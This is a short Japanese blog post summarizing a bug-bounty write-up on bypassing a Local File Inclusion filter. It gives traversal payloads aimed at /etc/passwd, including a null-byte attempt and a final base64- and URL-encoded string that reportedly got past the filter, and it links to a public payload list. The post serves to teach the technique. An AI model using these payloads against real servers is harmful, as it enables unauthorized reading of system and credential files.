Hello there, ('ω')ノ
LFIのバイパス(ローカルファイルインクルード)を。
脆弱性:
LFI
記事:
https://medium.com/@abhishake21/bypassing-lfi-local-file-inclusion-ebf4274e7027
LFI(Local File Inclusion)を使用すると、
攻撃者はターゲットサーバ上のファイルを公開できるので。
ディレクトリトラバーサル(../)の助けを借りて。
ユーザがアクセスできないはずのファイルにアクセスできて。
例えば、下記によってindex.htmlが返されます。
https://example.com/redirect.php?page=/home/index.html
下記によって、passwdファイルが返されます。
https://example.com/redirect.php?page=../../../etc/passwd
今回のURLは、下記のとおりで。
www.target.com/rd?page=/change/lmtstats.html
まずは、pageパラメータでディレクトリトラバーサルを試すことに。
下記が、ペイロードのリストで。
https://raw.githubusercontent.com/emadshanab/LFI-Payload-List/master/LFI%20payloads.txt
下記のペイロードは、ほとんどの場合機能するものの。
../../../etc/passwd
(../)を膨大に追加する可能性があって。
(../)を20個追加したとしてもブロックされる可能性もあって。
今回、(../)を7回追加する必要があったものの。
ペイロードの最後に.htmlが含まれていて。
ファイルタイプをtxt、pngなどに変更してもうまくいかず。
NullByte(%00)をペイロードの最後に追加しても結果は同じで。
etc/passwd%00
さまざまな手法とエンコードを試した後、最終的なペイロードは下記のとおりで。
www.target.com/rd?page=Li4lMkYuLiUyRi4uJTJGLi4lMkYuLiUyRi4uJTJGLi4lMkZldGMuLiUyRnBhc3N3ZC4uJTJGMDAudHh0Ly8uJTAw
上記は、下記をbase64でエンコードされたペイロードで。
..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc..%2Fpasswd..%2F00.txt//.%00
⇩さらに
../../../../../../../etc../passwd../00.txt//.
ようやく、passwdファイルにアクセスできるようになって。
Best regards, (^^ゞ